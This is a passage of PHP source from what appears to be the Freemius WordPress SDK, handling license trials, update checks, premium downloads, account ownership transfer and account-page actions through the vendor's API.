Store site updates. $this->_store_site(); if ( $deactivate_license && ! FS_Plugin_License::is_valid_id( $site->license_id ) ) { if ( $this->_site->is_localhost() ) { $this->_license->activated_local = max( 0, $this->_license->activated_local - 1 ); } else { $this->_license->activated = max( 0, $this->_license->activated - 1 ); } // Handle successful license deactivation result. $this->handle_license_deactivation_result( $this->_license ); } return $site; } /** * @author Vova Feldman (@svovaf) * @since 1.1.8.1 * * @param bool|string $plan_name * * @return bool If trial was successfully started. */ function start_trial( $plan_name = false ) { $this->_logger->entrance(); // Alias. $oops_text = $this->get_text_x_inline( 'Oops', 'exclamation', 'oops' ) . '...'; if ( $this->is_trial() ) { // Already in trial mode. $this->_admin_notices->add( sprintf( $this->get_text_inline( 'You are already running the %s in a trial mode.', 'in-trial-mode' ), $this->_module_type ), $oops_text, 'error' ); return false; } if ( $this->_site->is_trial_utilized() ) { // Trial was already utilized. $this->_admin_notices->add( $this->get_text_inline( 'You already utilized a trial before.', 'trial-utilized' ), $oops_text, 'error' ); return false; } if ( false !== $plan_name ) { $plan = $this->get_plan_by_name( $plan_name ); if ( false === $plan ) { // Plan doesn't exist. $this->_admin_notices->add( sprintf( $this->get_text_inline( 'Plan %s do not exist, therefore, can\'t start a trial.', 'trial-plan-x-not-exist' ), $plan_name ), $oops_text, 'error' ); return false; } if ( ! $plan->has_trial() ) { // Plan doesn't exist. $this->_admin_notices->add( sprintf( $this->get_text_inline( 'Plan %s does not support a trial period.', 'plan-x-no-trial' ), $plan_name ), $oops_text, 'error' ); return false; } } else { if ( ! $this->has_trial_plan() ) { // None of the plans have a trial. $this->_admin_notices->add( sprintf( $this->get_text_inline( 'None of the %s\'s plans supports a trial period.', 'no-trials' ), $this->_module_type ), $oops_text, 'error' ); return false; } $plans_with_trial = FS_Plan_Manager::instance()->get_trial_plans( $this->_plans ); $plan = $plans_with_trial[0]; } $api = $this->get_api_site_scope(); $plan = $api->call( "plans/{$plan->id}/trials.json", 'post' ); if ( ! $this->is_api_result_entity( $plan ) ) { // Some API error while trying to start the trial. $this->_admin_notices->add( $this->get_api_error_message( $plan ), $oops_text, 'error' ); return false; } // Sync license. $this->_sync_license(); return $this->is_trial(); } /** * Cancel site trial. * * @author Vova Feldman (@svovaf) * @since 1.0.9 * * @return object * * @uses FS_Api */ private function _cancel_trial() { $this->_logger->entrance(); if ( ! $this->is_trial() ) { return (object) array( 'error' => (object) array( 'message' => $this->get_text_inline( 'It looks like you are not in trial mode anymore so there\'s nothing to cancel :)', 'trial-cancel-no-trial-message' ) ) ); } $trial_plan = $this->get_trial_plan(); $api = $this->get_api_site_scope(); $site = $api->call( 'trials.json', 'delete' ); $trial_cancelled = false; if ( $this->is_api_result_entity( $site ) ) { $prev_trial_ends = $this->_site->trial_ends; if ( $this->is_paid_trial() ) { $this->_license->expiration = $site->trial_ends; $this->_license->is_cancelled = true; $this->_update_site_license( $this->_license ); $this->_store_licenses(); // Clear subscription reference. $this->_sync_site_subscription( null ); } // Update site info. $this->_site = new FS_Site( $site ); $trial_cancelled = ( $prev_trial_ends != $site->trial_ends ); } else { // @todo handle different error cases. } if ( ! $trial_cancelled ) { return (object) array( 'error' => (object) array( 'message' => $this->get_text_inline( 'Seems like we are having some temporary issue with your trial cancellation. Please try again in few minutes.', 'trial-cancel-failure-message' ) ) ); } // Remove previous sticky messages about upgrade or trial (if exist). $this->_admin_notices->remove_sticky( array( 'trial_started', 'trial_promotion', 'plan_upgraded', ) ); // Store site updates. $this->_store_site(); if ( ! $this->is_addon() || ! $this->deactivate_premium_only_addon_without_license( true ) ) { $this->_admin_notices->add( sprintf( $this->get_text_inline( 'Your %s free trial was successfully cancelled.', 'trial-cancel-message' ), $trial_plan->title ) ); } return $site; } /** * @author Vova Feldman (@svovaf) * @since 1.0.6 * * @param bool|number $plugin_id * * @return bool */ private function _is_addon_id( $plugin_id ) { return is_numeric( $plugin_id ) && ( $this->get_id() != $plugin_id ); } /** * Check if user eligible to download premium version updates. * * @author Vova Feldman (@svovaf) * @since 1.0.6 * * @return bool */ private function _can_download_premium() { return $this->has_any_active_valid_license() || ( $this->is_trial() && ! $this->get_trial_plan()->is_free() ); } /** * * @author Vova Feldman (@svovaf) * @since 1.0.6 * * @param bool|number $addon_id * @param string $type "json" or "zip" * * @return string */ private function _get_latest_version_endpoint( $addon_id = false, $type = 'json' ) { $is_addon = $this->_is_addon_id( $addon_id ); $is_premium = null; if ( ! $is_addon ) { $is_premium = ( $this->is_premium() || $this->_can_download_premium() ); } else if ( $this->is_addon_activated( $addon_id ) ) { $fs_addon = self::get_instance_by_id( $addon_id ); $is_premium = ( $fs_addon->is_premium() || $fs_addon->_can_download_premium() ); } // If add-on, then append add-on ID. $endpoint = ( $is_addon ? "/addons/$addon_id" : '' ) . '/updates/latest.' . $type; // If add-on and not yet activated, try to fetch based on server licensing. if ( is_bool( $is_premium ) ) { $endpoint = add_query_arg( 'is_premium', json_encode( $is_premium ), $endpoint ); } if ( $this->has_secret_key() ) { $endpoint = add_query_arg( 'type', 'all', $endpoint ); } else if ( is_object( $this->_site ) && $this->_site->is_beta() ) { $endpoint = add_query_arg( 'type', 'beta', $endpoint ); } return $endpoint; } /** * @author Vova Feldman (@svovaf) * @since 1.0.4 * * @param bool|number $addon_id * @param bool $flush Since 1.1.7.3 * @param int $expiration Since 1.2.2.7 * @param bool|string $newer_than Since 2.2.1 * @param bool|string $fetch_readme Since 2.2.1 * * @return object|false Plugin latest tag info. */ function _fetch_latest_version( $addon_id = false, $flush = true, $expiration = WP_FS__TIME_24_HOURS_IN_SEC, $newer_than = false, $fetch_readme = true ) { $this->_logger->entrance(); if ( $this->is_unresolved_clone( true ) ) { return false; } $switch_to_blog_id = null; /** * @since 1.1.7.3 Check for plugin updates from Freemius only if opted-in. * @since 1.1.7.4 Also check updates for add-ons. */ if ( ( ! $this->is_registered() || ! FS_Permission_Manager::instance( $this )->is_essentials_tracking_allowed() ) && ! $this->_is_addon_id( $addon_id ) ) { if ( ! is_multisite() ) { return false; } $installs_map = $this->get_blog_install_map(); foreach ( $installs_map as $blog_id => $install ) { if ( ! FS_Permission_Manager::instance( $this )->is_essentials_tracking_allowed( $blog_id ) ) { continue; } /** * @var FS_Site $install */ if ( $install->is_trial() ) { $switch_to_blog_id = $blog_id; break; } if ( FS_Plugin_License::is_valid_id( $install->license_id ) ) { $license = $this->get_license_by_id( $install->license_id ); if ( is_object( $license ) && $license->is_features_enabled() ) { $switch_to_blog_id = $blog_id; break; } } } if ( is_null( $switch_to_blog_id ) ) { return false; } } $current_blog_id = is_numeric( $switch_to_blog_id ) ? get_current_blog_id() : 0; if ( is_numeric( $switch_to_blog_id ) ) { $this->switch_to_blog( $switch_to_blog_id ); } $latest_version_endpoint = $this->_get_latest_version_endpoint( $addon_id, 'json' ); if ( ! empty( $newer_than ) ) { $latest_version_endpoint = add_query_arg( 'newer_than', $newer_than, $latest_version_endpoint ); } if ( true === $fetch_readme ) { $latest_version_endpoint = add_query_arg( 'readme', 'true', $latest_version_endpoint ); } $tag = $this->get_api_site_or_plugin_scope()->get( $latest_version_endpoint, $flush, $expiration ); if ( is_numeric( $switch_to_blog_id ) ) { $this->switch_to_blog( $current_blog_id ); } $latest_version = ( is_object( $tag ) && isset( $tag->version ) ) ? $tag->version : 'couldn\'t get'; $this->_logger->departure( 'Latest version ' . $latest_version ); return ( is_object( $tag ) && isset( $tag->version ) ) ? $tag : false; } #---------------------------------------------------------------------------------- #region Download Plugin #---------------------------------------------------------------------------------- /** * Download latest plugin version, based on plan. * * Not like _download_latest(), this will redirect the page * to secure download url to prevent dual download (from FS to WP server, * and then from WP server to the client / browser). * * @author Vova Feldman (@svovaf) * @since 1.0.9 * * @param bool|number $plugin_id * * @uses FS_Api * @uses wp_redirect() */ private function download_latest_directly( $plugin_id = false ) { $this->_logger->entrance(); wp_redirect( $this->get_latest_download_api_url( $plugin_id ) ); } /** * Get latest plugin FS API download URL. * * @author Vova Feldman (@svovaf) * @since 1.0.9 * * @param bool|number $plugin_id * * @return string */ private function get_latest_download_api_url( $plugin_id = false ) { $this->_logger->entrance(); $download_api_url = $this->get_api_site_scope()->get_signed_url( $this->_get_latest_version_endpoint( $plugin_id, 'zip' ) ); return str_replace( 'http:', 'https:', $download_api_url ); } /** * Get payment invoice URL. * * @author Vova Feldman (@svovaf) * @since 1.2.0 * * @param bool|number $payment_id * * @return string */ function _get_invoice_api_url( $payment_id = false ) { $this->_logger->entrance(); $url = $this->get_api_user_scope()->get_signed_url( "/payments/{$payment_id}/invoice.pdf" ); if ( ! fs_starts_with( $url, 'https://' ) ) { // Always use HTTPS for invoices. $url = 'https' . substr( $url, 4 ); } return $url; } /** * Get latest plugin download link. * * @author Vova Feldman (@svovaf) * @since 1.0.9 * * @param string $label * @param bool|number $plugin_id * * @return string */ private function get_latest_download_link( $label, $plugin_id = false ) { return sprintf( '%s', $this->_get_latest_download_local_url( $plugin_id ), $label ); } /** * Get latest plugin download local URL. * * @author Vova Feldman (@svovaf) * @since 1.0.9 * * @param bool|number $plugin_id * * @return string */ function _get_latest_download_local_url( $plugin_id = false ) { // Add timestamp to protect from caching. $params = array( 'ts' => WP_FS__SCRIPT_START_TIME ); if ( ! empty( $plugin_id ) ) { $params['plugin_id'] = $plugin_id; } else if ( $this->is_addon() ) { $params['plugin_id'] = $this->get_id(); } $fs = $this->is_addon() ? $this->get_parent_instance() : $this; return $this->apply_filters( 'download_latest_url', $fs->get_account_url( 'download_latest', $params ) ); } #endregion Download Plugin ------------------------------------------------------------------ /** * @author Vova Feldman (@svovaf) * @since 1.0.4 * * @uses FS_Api * * @param bool $background Hints the method if it's a background updates check. If false, it means that * was initiated by the admin. * @param bool|number $plugin_id * @param bool $flush Since 1.1.7.3 * @param int $expiration Since 1.2.2.7 * @param bool|string $newer_than Since 2.2.1 */ private function check_updates( $background = false, $plugin_id = false, $flush = true, $expiration = WP_FS__TIME_24_HOURS_IN_SEC, $newer_than = false ) { $this->_logger->entrance(); // Check if there's a newer version for download. $new_version = $this->_fetch_newer_version( $plugin_id, $flush, $expiration, $newer_than ); $update = null; if ( is_object( $new_version ) ) { $update = new FS_Plugin_Tag( $new_version ); if ( ! $background ) { $this->_admin_notices->add( sprintf( /* translators: %s: Numeric version number (e.g. '2.1.9' */ $this->get_text_inline( 'Version %s was released.', 'version-x-released' ) . ' ' . $this->get_text_inline( 'Please download %s.', 'please-download-x' ), $update->version, sprintf( '%s', $this->get_account_url( 'download_latest' ), sprintf( /* translators: %s: plan name (e.g. latest "Professional" version) */ $this->get_text_inline( 'the latest %s version here', 'latest-x-version' ), $this->get_plan_title() ) ) ), $this->get_text_inline( 'New', 'new' ) . '!' ); } } else if ( false === $new_version && ! $background ) { $this->_admin_notices->add( $this->get_text_inline( 'Seems like you got the latest release.', 'you-have-latest' ), $this->get_text_inline( 'You are all good!', 'you-are-good' ) ); } $this->_store_update( $update, true, $plugin_id ); } /** * @author Vova Feldman (@svovaf) * @since 1.0.4 * * @param bool $flush Since 1.1.7.3 add 24 hour cache by default. * * @return FS_Plugin[] * * @uses FS_Api */ private function sync_addons( $flush = false ) { $this->_logger->entrance(); $api = $this->get_api_site_or_plugin_scope(); $path = $this->add_show_pending( '/addons.json?enriched=true&count=50' ); /** * @since 1.2.1 * * If there's a cached version of the add-ons and not asking * for a flush, just use the currently stored add-ons. */ if ( ! $flush && $api->is_cached( $path ) ) { $addons = self::get_all_addons(); return isset( $addons[ $this->_plugin->id ] ) ? $addons[ $this->_plugin->id ] : array(); } $result = $api->get( $path, $flush ); $addons = array(); if ( $this->is_api_result_object( $result, 'plugins' ) && is_array( $result->plugins ) ) { for ( $i = 0, $len = count( $result->plugins ); $i < $len; $i ++ ) { $addons[ $i ] = new FS_Plugin( $result->plugins[ $i ] ); } $this->_store_addons( $addons, true ); } return $addons; } /** * Handle user email update. * * @author Vova Feldman (@svovaf) * @since 1.0.3 * @uses FS_Api * * @param string $new_email * * @return object */ private function update_email( $new_email ) { $this->_logger->entrance(); $api = $this->get_api_user_scope(); $user = $api->call( "?plugin_id={$this->_plugin->id}&fields=id,email,is_verified", 'put', array( 'email' => $new_email, 'after_email_confirm_url' => $this->_get_admin_page_url( 'account', array( 'fs_action' => 'sync_user' ) ), ) ); if ( ! isset( $user->error ) ) { $this->_user->email = $user->email; $this->_user->is_verified = $user->is_verified; $this->_store_user(); } else { // handle different error cases. } return $user; } #---------------------------------------------------------------------------------- #region API Error Handling #---------------------------------------------------------------------------------- /** * @author Vova Feldman (@svovaf) * @since 1.1.1 * * @param mixed $result * * @return bool Is API result contains an error. */ private function is_api_error( $result ) { return FS_Api::is_api_error( $result ); } /** * Checks if given API result is a non-empty and not an error object. * * @author Vova Feldman (@svovaf) * @since 1.2.1.5 * * @param mixed $result * @param string|null $required_property Optional property we want to verify that is set. * * @return bool */ function is_api_result_object( $result, $required_property = null ) { return FS_Api::is_api_result_object( $result, $required_property ); } /** * Checks if given API result is a non-empty entity object with non-empty ID. * * @author Vova Feldman (@svovaf) * @since 1.2.1.5 * * @param mixed $result * * @return bool */ private function is_api_result_entity( $result ) { return FS_Api::is_api_result_entity( $result ); } #endregion /** * Make sure a given argument is an array of a specific type. * * @author Vova Feldman (@svovaf) * @since 1.2.1.5 * * @param mixed $array * @param string $class * * @return bool */ private function is_array_instanceof( $array, $class ) { return ( is_array( $array ) && ( empty( $array ) || $array[0] instanceof $class ) ); } /** * Start install ownership change. * * @author Vova Feldman (@svovaf) * @since 1.1.1 * @uses FS_Api * * @param string $candidate_email * @param string $transfer_type * * @return bool Is ownership change successfully initiated. */ private function init_change_owner( $candidate_email, $transfer_type ) { $this->_logger->entrance(); $installs_info_by_slug_map = $this->get_parent_and_addons_installs_info(); $install_ids = array(); foreach ( $installs_info_by_slug_map as $slug => $install_info ) { $install = $install_info['install']; if ( $this->_user->id != $install->user_id ) { // Skip add-on installs that are not owned by the parent product's install's owner. continue; } $install_ids[ $slug ] = $install->id; } $api = $this->get_api_site_scope(); $result = $api->call( "/users/{$this->_user->id}.json", 'put', array( 'email' => $candidate_email, 'transfer_type' => $transfer_type, 'install_ids' => implode( ',', array_values( $install_ids ) ), 'after_confirm_url' => $this->_get_admin_page_url( 'account', array( 'fs_action' => 'change_owner' ) ), ) ); return ! $this->is_api_error( $result ); } /** * Handle install ownership change. * * @author Vova Feldman (@svovaf) * @since 1.1.1 * @uses FS_Api * * @return bool Was ownership change successfully complete. */ private function complete_change_owner() { $this->_logger->entrance(); $install_ids = fs_request_get( 'install_ids' ); if ( ! empty( $install_ids ) ) { $install_ids = explode( ',', $install_ids ); foreach ( $install_ids as $key => $install_id ) { if ( ! FS_Site::is_valid_id( $install_id ) ) { unset( $install_ids[ $key ] ); } } } if ( ! is_array( $install_ids ) ) { $install_ids = array(); } $user = new FS_User(); $user->id = fs_request_get( 'user_id' ); $user->public_key = fs_request_get_raw( 'user_public_key' ); $user->secret_key = fs_request_get_raw( 'user_secret_key' ); $prev_user = $this->_user; $this->_user = $user; $result = $this->get_api_user_scope( true )->get( "/installs.json?install_ids=" . implode( ',', $install_ids ) ); $current_blog_sites = self::get_all_sites( $this->get_module_type() ); if ( $this->is_api_result_object( $result, 'installs' ) ) { $site_id_slug_map = array(); foreach ( $current_blog_sites as $slug => $site ) { $site_id_slug_map[ $site->id ] = $slug; } foreach ( $result->installs as $install ) { $site = new FS_Site( $install ); if ( ! isset( $site_id_slug_map[ $install->id ] ) ) { continue; } $current_blog_sites[ $site_id_slug_map[ $install->id ] ] = clone $site; if ( $this->_site->id == $site->id ) { $this->_site = $site; } } } // Validate install's user and given user. if ( $user->id != $this->_site->user_id ) { $this->_user = $prev_user; return false; } $this->set_account_option( 'sites', $current_blog_sites, true ); // Fetch new user information. $user_result = $this->get_api_user_scope( true )->get(); $user = new FS_User( $user_result ); $this->_user = $user; $this->_set_account( $user, $this->_site ); $remove_user = true; $all_modules_sites = self::get_all_modules_sites(); foreach ( $all_modules_sites as $sites_by_module_type ) { foreach ( $sites_by_module_type as $sites_by_slug ) { foreach ( $sites_by_slug as $site ) { if ( $prev_user->id == $site->user_id ) { $remove_user = false; break; } } if ( ! $remove_user ) { break; } } if ( ! $remove_user ) { break; } } if ( $remove_user ) { $users = self::get_all_users(); if ( isset( $users[ $prev_user->id ] ) ) { unset( $users[ $prev_user->id ] ); } else { // If the prev user wasn't found by the key, iterate over the users collection. foreach ( $users as $key => $user ) { if ( $user->id == $prev_user->id ) { unset( $users[ $key ] ); break; } } } $this->set_account_option( 'users', $users, true ); } return true; } /** * Completes ownership change by license. * * @author Leo Fajardo (@leorw) * @since 2.3.2 * * @param number $user_id * @param array[string]number $install_ids_by_slug_map * */ private function complete_ownership_change_by_license( $user_id, $install_ids_by_slug_map ) { $this->_logger->entrance(); $this->sync_user_by_current_install( $user_id ); $result = $this->get_api_user_scope( true )->get( "/installs.json?install_ids=" . implode( ',', $install_ids_by_slug_map ) ); if ( $this->is_api_result_object( $result, 'installs' ) ) { $sites = self::get_all_sites( $this->get_module_type() ); $install_ids_by_slug_map = array_flip( $install_ids_by_slug_map ); foreach ( $result->installs as $install ) { $site = new FS_Site( $install ); $sites[ $install_ids_by_slug_map[ $site->id ] ] = clone $site; } $this->set_account_option( 'sites', $sites, true ); } } /** * Handle user name update. * * @author Vova Feldman (@svovaf) * @since 1.0.9 * @uses FS_Api * * @return object */ private function update_user_name() { $this->_logger->entrance(); $name = fs_request_get( 'fs_user_name_' . $this->get_unique_affix(), '' ); $api = $this->get_api_user_scope(); $user = $api->call( "?plugin_id={$this->_plugin->id}&fields=id,first,last", 'put', array( 'name' => $name, ) ); if ( ! isset( $user->error ) ) { $this->_user->first = $user->first; $this->_user->last = $user->last; $this->_store_user(); } else { // handle different error cases. } return $user; } /** * Verify user email. * * @author Vova Feldman (@svovaf) * @since 1.0.3 * @uses FS_Api */ private function verify_email() { $this->_handle_account_user_sync(); if ( $this->_user->is_verified() ) { return; } $api = $this->get_api_site_scope(); $result = $api->call( "/users/{$this->_user->id}/verify.json", 'put', array( 'after_email_confirm_url' => $this->_get_admin_page_url( 'account', array( 'fs_action' => 'sync_user' ) ) ) ); if ( ! isset( $result->error ) ) { $this->_admin_notices->add( sprintf( $this->get_text_inline( 'Verification mail was just sent to %s. If you can\'t find it after 5 min, please check your spam box.', 'verification-email-sent-message' ), sprintf( '%2$s', esc_url( $this->_user->email ), $this->_user->email ) ) ); } else { // handle different error cases. } } /** * @author Vova Feldman (@svovaf) * @since 1.1.2 * * @param array $params * @param bool|null $network * * @return string */ function get_activation_url( $params = array(), $network = null ) { if ( $this->is_addon() && $this->has_free_plan() ) { /** * @author Vova Feldman (@svovaf) * @since 1.2.1.7 Add-on's activation is the parent's module activation. */ return $this->get_parent_instance()->get_activation_url( $params ); } return $this->apply_filters( 'connect_url', $this->_get_admin_page_url( '', $params, $network ) ); } /** * @author Vova Feldman (@svovaf) * @since 1.2.1.5 * * @param array $params * * @return string */ function get_reconnect_url( $params = array() ) { $params['fs_action'] = 'reset_anonymous_mode'; $params['fs_unique_affix'] = $this->get_unique_affix(); return $this->get_activation_url( $params ); } /** * Get the URL of the page that should be loaded after the user connect * or skip in the opt-in screen. * * @author Vova Feldman (@svovaf) * @since 1.1.3 * * @param string $filter Filter name. * @param array $params Since 1.2.2.7 * @param bool|null $network * * @return string */ function get_after_activation_url( $filter, $params = array(), $network = null ) { if ( $this->show_opt_in_on_themes_page() && ( fs_request_has( 'pending_activation' ) || // For cases when the first time path is set, even though it's a WP.org theme. fs_request_get_bool( $this->get_unique_affix() . '_show_optin' ) ) ) { $first_time_path = ''; } else { $first_time_path = $this->_menu->get_first_time_path( fs_is_network_admin() && $this->_is_network_active ); } if ( $this->_is_network_active && fs_is_network_admin() && ! $this->_menu->has_network_menu() && $this->is_network_registered() ) { $target_url = $this->get_account_url(); } else { // Default plugin's page. $target_url = $this->_get_admin_page_url( '', array(), $network ); } return add_query_arg( $params, $this->apply_filters( $filter, empty( $first_time_path ) ? $target_url : $first_time_path ) ); } /** * Handle account page updates / edits / actions. * * @author Vova Feldman (@svovaf) * @since 1.0.2 * */ private function _handle_account_edits() { if ( ! $this->is_user_admin() ) { return; } $action = fs_get_action(); if ( empty( $action ) ) { return; } $plugin_id = fs_request_get( 'plugin_id', $this->get_id() ); $install_id = fs_request_get( 'install_id', '' ); // Alias. $oops_text = $this->get_text_x_inline( 'Oops', 'exclamation', 'oops' ) . '...'; $is_network_action = $this->is_network_level_action(); $blog_id = $this->is_network_level_site_specific_action(); $is_parent_plugin_action = ( $plugin_id == $this->get_id() ); if ( is_numeric( $blog_id ) ) { $this->switch_to_blog( $blog_id ); } else { $blog_id = ''; } switch ( $action ) { case 'opt_in': check_admin_referer( trim( "{$action}:{$blog_id}:{$install_id}", ':' ) ); if ( $is_parent_plugin_action ) { if ( $is_network_action && ! empty( $blog_id ) ) { if ( ! $this->is_registered() ) { $this->install_with_user( $this->get_network_user(), false, false, false, false ); $this->_admin_notices->add( $this->get_text_inline( 'Site successfully opted in.', 'successful-opt-in' ), $this->get_text_inline( 'Awesome', 'awesome' ) ); } } } break; case 'toggle_tracking': check_admin_referer( trim( "{$action}:{$blog_id}:{$install_id}", ':' ) ); if ( $is_parent_plugin_action ) { if ( $is_network_action && ! empty( $blog_id ) ) { if ( $this->is_registered( true ) ) { if ( $this->is_tracking_prohibited( $blog_id ) ) { if ( $this->toggle_site_tracking( true, $blog_id ) ) { $this->_admin_notices->add( sprintf( $this->get_text_inline( 'Sharing diagnostic data with %s helps to provide functionality that\'s more relevant to your website, avoid WordPress or PHP version incompatibilities that can break your website, and recognize which languages & regions the plugin should be translated and tailored to.', 'opt-out-message-appreciation' ), "{$this->get_plugin_title()}" ), $this->get_text_inline( 'Thank you!', 'thank-you' ) ); } } else { if ( $this->toggle_site_tracking( false, $blog_id ) ) { $install = $this->get_install_by_blog_id( $blog_id ); $this->_admin_notices->add( sprintf( $this->get_text_inline( 'Diagnostic data will no longer be sent from %s to %s.', 'opted-out-successfully' ), self::get_unfiltered_site_url( $blog_id, true ), "{$this->get_plugin_title()}" ) ); } } } } } break; case 'delete_account': check_admin_referer( trim( "{$action}:{$blog_id}:{$install_id}", ':' ) ); $is_network_deletion = $is_network_action && empty( $blog_id ); if ( $is_parent_plugin_action ) { // Delete add-on installs if have any. $installed_addons = $this->get_installed_addons(); foreach ( $installed_addons as $fs_addon ) { if ( $is_network_deletion ) { $fs_addon->delete_network_account_event(); } else { $fs_addon->delete_account_event(); } } if ( $is_network_deletion ) { $this->delete_network_account_event(); } else { $this->delete_account_event(); } // Clear user and site. $this->_site = null; $this->_user = null; $this->maybe_set_slug_and_network_menu_exists_flag(); fs_redirect( $this->get_activation_url() ); } else { if ( $this->is_addon_activated( $plugin_id ) ) { $fs_addon = self::get_instance_by_id( $plugin_id ); if ( $is_network_deletion ) { $fs_addon->delete_network_account_event(); } else { $fs_addon->delete_account_event(); } fs_redirect( $this->_get_admin_page_url( 'account' ) ); } } return; case 'downgrade_account': if ( is_numeric( $blog_id ) ) { check_admin_referer( trim( "{$action}:{$blog_id}:{$install_id}", ':' ) ); } else { check_admin_referer( $action ); } $switch_to_network_install_blog_after_cancellation = ( is_numeric( $blog_id ) && $plugin_id == $this->get_id() && ! $this->is_trial() ); $result = $this->cancel_subscription_or_trial( $plugin_id ); if ( $this->is_api_error( $result ) ) { $this->_admin_notices->add( $result->error->message, $this->get_text_x_inline( 'Oops', 'exclamation', 'oops' ) . '...', 'error' ); } if ( $switch_to_network_install_blog_after_cancellation ) { $this->switch_to_blog( $this->_storage->network_install_blog_id ); } return; case 'activate_license': check_admin_referer( trim( "{$action}:{$blog_id}:{$install_id}", ':' ) ); $fs = $this; if ( $plugin_id != $this->get_id() ) { $fs = $this->is_addon_activated( $plugin_id ) ? self::get_instance_by_id( $plugin_id ) : null; } if ( is_object( $fs ) ) { $fs->_activate_license(); /** * Remove the product ID from `$_REQUEST` so that the syncing of the license for the other products will work properly. * * @author Leo Fajardo (@leorw) * @since 2.4.0 */ unset( $_REQUEST['plugin_id'] ); if ( $this->is_bundle_license_auto_activation_enabled() ) { $fs->maybe_activate_bundle_license( null, array(), is_numeric( $blog_id ) ? $blog_id : 0 ); } } return; case 'deactivate_license': check_admin_referer( trim( "{$action}:{$blog_id}:{$install_id}", ':' ) ); if ( $plugin_id == $this->get_id() ) { $this->_deactivate_license(); if ( $this->is_only_premium() ) { // Clear user and site. $this->_site = null; $this->_user = null; if ( ! $is_network_action ) { fs_redirect( $this->get_activation_url() ); } else if ( is_numeric( $blog_id ) ) { $this->switch_to_blog( $this->_storage->network_install_blog_id ); } } } else { if ( $this->is_addon_activated( $plugin_id ) ) { $fs_addon = self::get_instance_by_id( $plugin_id ); $fs_addon->_deactivate_license(); } } return; case 'check_updates': check_admin_referer( $action ); $this->check_updates(); return; case 'change_owner': $state = fs_request_get( 'state', 'init' ); switch ( $state ) { case 'init': // The nonce is injected by the error handler in `_email_address_update_ajax_handler` function. check_admin_referer( 'change_owner' ); $candidate_email = fs_request_get( 'candidate_email' ); $transfer_type = fs_request_get( 'transfer_type' ); if ( $this->init_change_owner( $candidate_email, $transfer_type ) ) { if ( 'transfer' === $transfer_type ) { $this->_admin_notices->add( sprintf( $this->get_text_inline( 'A confirmation email was just sent to %s. The email owner must confirm the update within the next 4 hours.', 'change-owner-request-sent-x-transfer' ), '' . $this->_user->email . '' ) ); } else { $this->_admin_notices->add( sprintf( $this->get_text_inline( 'A confirmation email was just sent to %s. You must confirm the update within the next 4 hours. If you cannot find the email, please check your spam folder.', 'change-owner-request-sent-x' ), '' . $this->_user->email . '' ) ); } } break; case 'owner_confirmed': // We cannot (or need not to) check the nonce and referer here, because the link comes from the email sent by our API. $candidate_email = fs_request_get( 'candidate_email', '' ); if ( ! is_email($candidate_email ) ) { return; } $this->_admin_notices->add( sprintf( $this->get_text_inline( 'Thanks for confirming the ownership change. An email was just sent to %s for final approval.', 'change-owner-request_owner-confirmed' ), '' . $candidate_email . '' ) ); break; case 'candidate_confirmed': // We do not need to validate the authenticity of this request here, because the `complete_change_owner` does that for us through API calls. if ( $this->complete_change_owner() ) { $this->_admin_notices->add_sticky( sprintf( $this->get_text_inline( '%s is the new owner of the account.', 'change-owner-request_candidate-confirmed' ), '' . $this->_user->email . '' ), 'ownership_changed', $this->get_text_x_inline( 'Congrats', 'as congratulations', 'congrats' ) . '!' ); } else { // @todo Handle failed ownership change message. } break; } return; case 'update_user_name': check_admin_referer( 'update_user_name' ); $result = $this->update_user_name(); if ( isset( $result->error ) ) { $this->_admin_notices->add( $this->get_text_inline( 'Please provide your full name.', 'name-update-failed-message' ), $oops_text, 'error' ); } else { $this->_admin_notices->add( $this->get_text_inline( 'Your name was successfully updated.', 'name-updated-message' ) ); } return; #region Actions that might be called from external links (e.g. email) /** * !!IMPORTANT!!: We cannot check for a valid nonce in this region, because the links could be coming from emails. */ case 'cancel_trial': $result = $this->cancel_subscription_or_trial( $plugin_id ); if ( $this->is_api_error( $result ) ) { $this->_admin_notices->add( $result->error->message, $this->get_text_x_inline( 'Oops', 'exclamation', 'oops' ) . '...', 'error' ); } return; case 'verify_email': $this->verify_email(); return; case 'sync_user': $this->_handle_account_user_sync(); return; case $this->get_unique_affix() . '_sync_license': $this->_sync_license(); return; case 'download_latest': $this->download_latest_directly( $plugin_id ); return; #endregion } if ( WP_FS__IS_POST_REQUEST ) { $properties = array( 'site_secret_key', 'site_id', 'site_public_key' ); foreach ( $properties as $p ) { if ( 'update_' . $p === $action ) { check_admin_referer( $action ); $this->_logger->log( $action ); $site_property = substr( $p, strlen( 'site_' ) ); $site_property_value = fs_request_get( 'fs_' . $p . '_' . $this->get_unique_affix(), '' ); $this->get_site()->{$site_property} = $site_property_value; // Store account after modification. $this->_store_site(); $this->do_action( 'account_property_edit', 'site', $site_property, $site_property_value ); $this->_admin_notices->add( sprintf( /* translators: %s: User's account property (e.g. email address, name) */ $this->get_text_inline( 'You have successfully updated your %s.', 'x-updated' ), '' . str_replace( '_', ' ', $p ) . '' ) ); return; } } } } /** * Adds CSS classes for the body tag in the admin. * * @param string $classes Space-separated string of class names. * * @return string $classes FS Admin body tag class names. */ public function fs_addons_body_class( $classes ) { $classes .= ' plugins-php'; return $classes; } /** * Account page resources load. * * @author Vova Feldman (@svovaf) * @since 1.0.6 */ function _account_page_load() { $this->_logger->entrance(); $this->_logger->info( var_export( $_REQUEST, true ) ); fs_enqueue_local_style( 'fs_account', '/admin/account.css' ); if ( $this->has_addons() ) { wp_enqueue_script( 'plugin-install' ); add_thickbox(); add_filter( 'admin_body_class', array( $this, 'fs_addons_body_class' ) ); } if ( $this->has_paid_plan() && ! $this->has_any_license() && ! $this->is_sync_executed() && $this->is_tracking_allowed() ) { /** * If no licenses found and no sync job was executed during the last 24 hours, * just execute the sync job right away (blocking execution). * * @since 1.1.7.3 */ $this->run_manual_sync(); } $this->_handle_account_edits(); if ( is_object( $this->_license ) && $this->_license->user_id == $this->_user->id && ! $this->is_whitelabeled( true ) ) { $this->_admin_notices->add( sprintf( $this->get_text_inline( "Is this your client's site? %s if you wish to hide sensitive info like your email, license key, prices, billing address & invoices from the WP Admin.", 'license_not_whitelabeled' ), sprintf( '%s', $this->get_text_inline( 'Click here', 'click-here' ) ) ), '', 'success', false, 'license_not_whitelabeled' ); } $this->do_action( 'account_page_load_before_departure' ); } /** * Renders the "Affiliation" page. * * @author Leo Fajardo (@leorw) * @since 1.2.3 */ function _affiliation_page_render() { $this->_logger->entrance(); $this->fetch_affiliate_and_terms(); fs_enqueue_local_style( 'fs_affiliation', '/admin/affiliation.css' ); $is_bundle_context = $this->has_bundle_context(); $plugin_title = $this->get_plugin_title(); if 